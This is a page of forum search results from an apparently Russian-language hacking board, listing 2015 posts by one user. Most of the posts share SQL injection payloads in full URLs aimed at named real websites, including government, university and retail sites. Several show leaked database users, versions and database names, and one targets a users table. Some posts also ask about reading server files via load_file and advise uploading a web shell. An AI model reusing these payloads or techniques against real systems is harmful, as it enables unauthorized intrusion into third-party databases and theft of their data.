|
 |
 | |
 | |
| |
 |
 |
FORUMS | |
MEMBERS | |
RECENT POSTS |  |
LOG IN |
|
||||||
|
Показано с 1 по 25 из 65.
На поиск затрачено 0.00 сек. Поиск: Сообщения от: teh |
Раздел: Уязвимости
22.05.2015, 02:04
|
|
Ответов: 2,955
Просмотров: 1,008,465
Автор
teh
Помогите с выводом
вроде все хорошо
...Помогите с выводом вроде все хорошо http://helpmerchants.com/product_info.php?product_id=-425+union+select+1,table_name+from+information_schema.tables+limit+0,1-- но как хочу достать... |
|
Раздел: Уязвимости
20.05.2015, 13:44
|
|
Ответов: 2,955
Просмотров: 1,008,465
Автор
teh
http://www.svetodom.ru/brand/1%27%20and%28select%2...http://www.svetodom.ru/brand/1%27%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%28Table_name%29%29%20from%20information_schema.tables%20limit%20100,1%29,flo... |
|
Раздел: Уязвимости
17.05.2015, 18:00
|
|
Ответов: 2,955
Просмотров: 1,008,465
Автор
teh
|
|
Раздел: Уязвимости
17.05.2015, 17:52
|
|
Ответов: 2,955
Просмотров: 1,008,465
Автор
teh
|
|
Раздел: Уязвимости
17.05.2015, 17:19
|
|
Ответов: 2,955
Просмотров: 1,008,465
Автор
teh
Привет, кто знает, могу читать файлы через...Привет, кто знает, могу читать файлы через load_file, незнаю только как найти полный путь к корню сайта на сервере, может можно, как то через load_file ? сервер Apache 2.2.22 |
|
Раздел: Уязвимости
10.05.2015, 23:56
|
|
Ответов: 2,955
Просмотров: 1,008,465
Автор
teh
http://www.theatremunicipal-tunis.gov.tn/fiche_spe...http://www.theatremunicipal-tunis.gov.tn/fiche_spectacle.php?id=54 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+ |
|
Раздел: Уязвимости
07.05.2015, 22:40
|
|
Ответов: 264
Просмотров: 283,913
Автор
teh
http://dzz.gov.ua/CPOSI/style/page_2/templer_page2...http://dzz.gov.ua/CPOSI/style/page_2/templer_page2_ru.php?id=21%20union%20select%201,2,3,concat%28user%28%29,0x3c62723e,version%28%29,0x3c62723e,database%28%29%29,5,%27fox%20tech%27,7,8--&table=info... |
|
Раздел: Уязвимости
03.05.2015, 23:47
|
|
Ответов: 264
Просмотров: 283,913
Автор
teh
http://landscrona.ru/media/index.php?id=-2825%20un...http://landscrona.ru/media/index.php?id=-2825%20union%20select%201,2,3,user%28%29,version%28%29,database%28%29,7,8,9,10,11,12,13,14,15-- crona_site 5.5.25 db_crona@localhost |
|
Раздел: Уязвимости
20.04.2015, 01:33
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
|
|
Раздел: Уязвимости
19.04.2015, 20:20
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
http://www.techexpo.kiev.ua/info_pa...e,4 from...http://www.techexpo.kiev.ua/info_pa...e,4 from information_schema.tables--&sub_id=1... |
|
Раздел: Уязвимости
18.04.2015, 22:18
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
http://www.techexpo.kiev.ua/info_pa...ogin,4 from...http://www.techexpo.kiev.ua/info_pa...ogin,4 from eebcnet_techexpo.users--&sub_id=1... |
|
Раздел: Уязвимости
05.04.2015, 21:00
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
|
|
Раздел: Уязвимости
05.04.2015, 18:06
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
Здраствуйте! Хочу спросить, есть ли возможность...Здраствуйте! Хочу спросить, есть ли возможность обойти limit в скулях, что б вывелось все сразу. Например даю запрос union select 1,2,login from users limit 1,1 Выводить одну запись, можно... |
|
Раздел: Уязвимости
03.04.2015, 00:00
|
|
Ответов: 16,037
Важно: SQL Инъекции
Просмотров: 1,131,729
Автор
teh
http://eng.tspu.edu.ru/shou_biog_sotr.php?id=-1282...http://eng.tspu.edu.ru/shou_biog_sotr.php?id=-1282 union select 1,user(),3,4,5,version(),7,8,9,database(),11,12,13-- 10.0.16-MariaDB-log polevivan@localhost engtspu1 |
|
Раздел: Песочница
30.03.2015, 11:52
|
|
Ответов: 31
Просмотров: 59,901
Автор
teh
на 9 остановился и пошел спать. На восьмой где то...на 9 остановился и пошел спать. На восьмой где то 3 часа потратил. Нужно еще подучиться. |
|
Раздел: Песочница
30.03.2015, 02:29
|
|
Ответов: 31
Просмотров: 59,901
Автор
teh
|
|
Раздел: Песочница
29.03.2015, 21:12
|
|
Ответов: 31
Просмотров: 59,901
Автор
teh
|
|
Раздел: Песочница
29.03.2015, 20:51
|
|
Ответов: 31
Просмотров: 59,901
Автор
teh
А как 8 левел пройти? Пасс думаю там в числово...А как 8 левел пройти? Пасс думаю там в числово буквенном виде. А выводиться только то, что произошла какая-то ошибка, или количество выведенных записей. что тогда делать? |
|
Раздел: Уязвимости
29.03.2015, 17:58
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
думаю если есть права на LOAD_FILE, залей шелл,...думаю если есть права на LOAD_FILE, залей шелл, дальше по анологии |
|
Раздел: Песочница
29.03.2015, 17:07
|
|
Ответов: 31
Просмотров: 59,901
Автор
teh
|
|
Раздел: Песочница
29.03.2015, 15:51
|
|
Ответов: 31
Просмотров: 59,901
Автор
teh
Как пройти 5 левел вроде делаю правильний запрос,...Как пройти 5 левел вроде делаю правильний запрос, но все равно ошибка ' union select table_name from information_schema.tables where table_name='secret'-- |
|
Раздел: Уязвимости
28.03.2015, 22:57
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
|
|
Раздел: Уязвимости
27.03.2015, 18:08
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
|
|
Раздел: Уязвимости
27.03.2015, 17:52
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 720,660
Автор
teh
Не могу разобраться с sql инъекцией. Когда...Не могу разобраться с sql инъекцией. Когда использую order byб подобралб все хорошо, страница отображается. Когда начинаю использовать union select то страница не отображается. Пробивал /*!union*/ не... |
|
Раздел: Уязвимости
27.03.2015, 03:05
|
|
Ответов: 16,037
Важно: SQL Инъекции
Просмотров: 1,131,729
Автор
teh
http://cvetnik.com.ua/a-articles/article.php?id=-1...http://cvetnik.com.ua/a-articles/article.php?id=-18%20union%20select%201,2,concat%280x3c62723e,version%28%29,0x3c62723e,user%28%29,0x3c62723e,database%28%29%29,4,5,6,7,8,9,10,11,12,13,14-- 5.0.77... |
| Показано с 1 по 25 из 65. |
